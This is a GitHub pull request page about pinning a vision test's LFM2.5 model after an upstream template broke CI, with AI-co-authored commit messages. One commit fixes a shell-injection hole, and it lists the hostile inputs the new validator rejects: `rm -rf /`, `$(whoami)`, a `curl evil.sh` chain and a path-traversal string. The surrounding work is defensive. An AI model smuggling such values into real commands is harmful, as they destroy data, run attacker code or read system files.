Skip to content

fix: pin the vision test's LFM2.5 model to an immutable revision - #141

Merged
solderzzc merged 4 commits into
mainfrom
fix/pin-vision-test-model
Aug 12, 2026
Merged

fix: pin the vision test's LFM2.5 model to an immutable revision#141
solderzzc merged 4 commits into
mainfrom
fix/pin-vision-test-model

Conversation

@solderzzc

Copy link
Copy Markdown
Member

Main is red, and this fixes it. The release for #140 was correctly skipped by the CI gate, so nothing has shipped from a broken build.

What happened

integration_matrix (vision) failed on main at 19:28 today. The merge that preceded it (#140) touched only a workflow file, and the failure reproduced on re-run — not a flake.

LiquidAI republished LFM2.5-VL-450M-MLX-4bit at 19:23, five minutes earlier. The new revision's chat template is one brace short of valid:

old:  {{- bos_token -}}
new:  {- bos_token -}}

Every request against it returns HTTP 500:

parser('Unexpected token type: closeExpression')

How I confirmed it's upstream, not us

  1. Ran the exact CI request locally against my cached copy (revision 10ce3604) → HTTP 200, correct output.
  2. Downloaded the new revision f19926f and ran the same request → HTTP 500, the parser error above.
  3. Copied that new revision, restored the single missing {, changed nothing else → HTTP 200, identical token counts (prompt_tokens: 271).

Same weights, same request, one brace. The fault is upstream. No code change here is the right response to a malformed template — accepting it silently would mean rendering a literal {- bos_token -}} into the prompt.

Why CI was exposed at all

The vision job never prefetched this model. Only Qwen2-VL was in matrix.models; LFM2.5 was fetched by the server mid-test, resolving the floating id to whatever was newest. The job's result depended on what a third party published that afternoon.

The fix

  • Pin LFM2.5-VL-450M-MLX-4bit to 10ce3604… and prefetch it.
  • Teach ci-download-models.sh a repo@revision spec, so any model can be pinned the same way.
  • The test resolves the pinned snapshot on disk, falling back to the floating id with a printed note — a local run without a prefetch still works, but cannot quietly test a different revision than CI did.

Editing test-vision.sh also rotates the job's model cache key, so CI re-downloads rather than restoring a cache that now holds the broken revision.

Verification

check result
vision test locally, with pin both cases pass
repo@revision split, pinned + unpinned parses correctly
fallback when pinned snapshot absent triggers, warns
ci.yml / shell syntax valid

Follow-up worth doing separately

Report the template upstream to LiquidAI — it's broken for every consumer of that repo, not just us. I haven't opened anything on a third-party repo; that's the maintainer's call.

Also note the pin means we stop testing the current upstream revision. That's the intended trade: re-point it deliberately when someone means to test something newer, and treat the resulting failure as a real result.

🤖 Generated with Claude Code

solderzzc and others added 4 commits August 11, 2026 21:30
Points at bfc2462, which brings two things:

- SharpAI/mlx-swift-lm#48 — glm_moe_dsa / deepseek_v3_2 load and run with
  dense attention (stage 1 of #111). GLM-5.2 is DeepSeek V3.2, whose indexer
  is inert below index_topk (2048), so output is exact for the first 2048
  positions of context and diverges beyond them. That is enough to exercise
  --stream-experts against the 308GB checkpoint, which is what the issue
  actually asks for.
- SharpAI/mlx-swift-lm#47 — the all-KV-shared assistant regression tests,
  which had not been picked up by a bump yet.

#48 also generalises a latent trap in DeepseekV3.sanitize, which dropped
`model.layers.61` by string literal. That number is just numHiddenLayers; on
GLM-5.2's 78 layers it would have deleted a real layer while keeping the MTP
block.

Verified past the registry: pointing the binary at a glm_moe_dsa config
constructs the model and fails only on absent weights —

    Key model.embed_tokens.weight not found in
    DeepseekV32Model.DeepseekV3ModelInner.Embedding

so the architecture is reachable end to end, not merely registered. No real
weights have been run: the smallest glm_moe_dsa checkpoint is 308GB.

Refs #111

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Dependency Automation has failed all 12 times it has run since 2026-04-27 —
it has never once succeeded. Every failure is the same:

    ##[error]Input 'token' not supplied. Unable to continue.

The Create Pull Request step reads secrets.SWIFTLM_PR_TOKEN, which is not set
in this repository. The dispatch side is fine: mlx-swift-lm's auto_release
does hold a token that can dispatch cross-repo, so the event arrives and the
job runs, does its work, and dies at the last step.

Rather than add the secret, stop trying to open the PR. A workflow needs a
personal access token to open one usefully because GitHub does not start
workflow runs for events raised by GITHUB_TOKEN — a bot-opened PR would arrive
with no checks at all, permanently pending rather than green, and release.yml
gates releases on CI concluding successfully. A pushed branch plus a compare
link in the job summary costs one click and gets real CI, because the PR event
is then the human's.

Keeping a human in that loop is not a consolation prize. Bumps here have
needed a pointer check, an umbrella build and a smoke test before they were
trustworthy; this does the mechanical part and leaves the judgement.

Three further problems fixed while in here:

- The mlx-swift branch ran `swift package update mlx-swift`, which does
  nothing: both dependencies are `.package(path: "./…")` local paths backed by
  submodules, and SwiftPM takes whatever is on disk for a path dependency. It
  could only ever have produced an empty commit. Both are now handled the same
  way, as the pointer move they are.

- client_payload was interpolated straight into run blocks, so a crafted
  new_tag would have been executed rather than compared. Values are now
  validated (source_repo against an allowlist, new_tag against a plain-tag
  pattern) and passed through the environment. Verified rejecting
  `b554; rm -rf /`, `$(whoami)`, `b554 && curl evil.sh`, `../../../etc/passwd`,
  `-x` and empty, while accepting b554, b459 and v1.2.3.

- A re-dispatch for a tag already checked out produced an empty commit; that
  case now reports and stops.

Exercised against the real submodule: an already-current tag (b500) takes the
no-op path, a nonexistent tag (b99999) fails with a clear message, and a real
older tag (b497) computes bfc2462 → b320bc4.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Main went red at 19:28 today with nothing changed on our side — the merge that
preceded it touched only a workflow file. The failing job was
integration_matrix (vision), and it reproduced on re-run, so it was not a flake.

LiquidAI republished LFM2.5-VL-450M-MLX-4bit at 19:23, five minutes earlier.
The new revision's chat template is one brace short of valid:

    old:  {{- bos_token -}}
    new:  {- bos_token -}}

Every request against it returns HTTP 500,
`parser('Unexpected token type: closeExpression')`. Confirmed by reproducing
locally against the new revision, then restoring that single brace in a copy —
same weights, same request, HTTP 200 with identical token counts. The fault is
upstream, not a compatibility gap on our side, and no code change here would be
the right response to a malformed template.

CI never noticed the substitution because the vision job did not prefetch this
model at all: the server fetched it mid-test and resolved the floating id to
whatever was newest. So the job's result depended on what a third party
published that afternoon.

Pins the revision, prefetches it, and teaches ci-download-models.sh a
`repo@revision` spec so any model can be pinned the same way. The test resolves
the pinned snapshot on disk and falls back to the floating id with a printed
note, so a local run without a prefetch still works but cannot quietly test a
different revision than CI did.

The test-vision.sh edit rotates the job's model cache key, so CI re-downloads
rather than restoring a cache that now holds the broken revision.

Verified: the vision test passes locally with the pin, both cases; the
`repo@revision` split parses correctly for pinned and unpinned specs; the
fallback path triggers and warns when the pinned snapshot is absent.

Worth reporting upstream — LiquidAI's template is broken for every consumer,
not just this repository.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The first version of the revision-pinning change assembled the optional
`--revision` flag into an array and expanded it unconditionally. The runners are
macOS, which ships bash 3.2, where expanding an *empty* array under `set -u` is
an unbound-variable error rather than expanding to nothing. Every unpinned
download therefore failed, which took out every job that prefetches a model —
speculative-decoding, dflash, ssd-draft-memory-guard — while the pinned path
would have worked fine.

Spelled the two calls out instead. Verified by running the script under
/bin/bash 3.2 with `set -u` for both shapes: unpinned resolves to the current
snapshot, `repo@revision` resolves to the pinned one.

CI caught this, which is the system working; worth noting the local `bash -n`
syntax check could not have, since the failure is a runtime expansion.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
@solderzzc
solderzzc merged commit 243390c into main Aug 12, 2026
13 checks passed
@solderzzc
solderzzc deleted the fix/pin-vision-test-model branch August 12, 2026 23:22
@solderzzc

Copy link
Copy Markdown
Member Author

Reported upstream: LiquidAI/LFM2.5-VL-450M-MLX-4bit#1.

Status as of now: still unfixed. The repo is on f19926f1 with lastModified 2026-08-12T19:23:10Z, and the live chat_template.jinja on main still reads {- bos_token -}} on line 3 — unchanged for over a day.

Two things worth recording here that came out of checking upstream after this PR merged:

The blast radius is exactly one repo. All 15 LiquidAI MLX repos were edited in a 13-minute window (19:14–19:27) to add the same {# <|tool_list_start|> detection hint for mlx_lm #} comment. Fourteen kept {{- bos_token -}} intact; only the 450M lost the brace. So this was a slipped keystroke, not a broken conversion pipeline — which is good news for how quickly it can be fixed, and confirms the other models we might pin later are sound.

It is worse for transformers/mlx-lm users than it is for us. Our strict Jinja parser rejects the template outright, which is why this PR exists. transformers does not error at all — it renders the malformed line as literal text:

'\n{- bos_token -}}<|im_start|>user\nhello<|im_end|>\n<|im_start|>assistant\n'

No BOS token, a literal {- bos_token -}} prefix on every prompt, and no warning. An HTTP 500 is the loud failure mode; silent prompt corruption is the one that costs people accuracy without telling them. That is what the upstream report leads with.

The pin here stays regardless. When the template is fixed, re-pointing LFM_REVISION in tests/test-vision.sh and the matching @ spec in ci.yml is a deliberate two-line change, and the failure that follows — if any — is then a real result rather than someone else's afternoon.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant